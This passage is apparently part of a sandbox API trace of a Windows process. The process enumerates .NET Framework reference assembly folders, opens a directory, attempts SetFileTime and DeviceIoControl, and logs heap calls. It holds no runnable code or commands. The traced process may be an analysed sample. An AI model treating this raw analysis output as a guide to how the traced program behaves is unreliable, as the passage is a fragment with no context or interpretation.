RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 1 [0080.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3f90 [0080.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0080.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.106] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 0 [0080.107] GetLastError () returned 0x12 [0080.107] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0080.107] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0080.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.107] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.108] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.108] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.108] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.108] NtClose (Handle=0x174) returned 0x0 [0080.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ba70 [0080.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0080.109] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.109] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0080.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c1a8 [0080.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0080.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3fb0 [0080.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c2b0 [0080.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.111] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0080.111] GetLastError () returned 0x12 [0080.111] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0080.111] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.111] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.111] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0080.111] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0080.111] GetLastError () returned 0x12 [0080.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ba70) returned 1 [0080.111] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0080.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 0 [0080.112] GetLastError () returned 0x12 [0080.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0080.113] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.113] 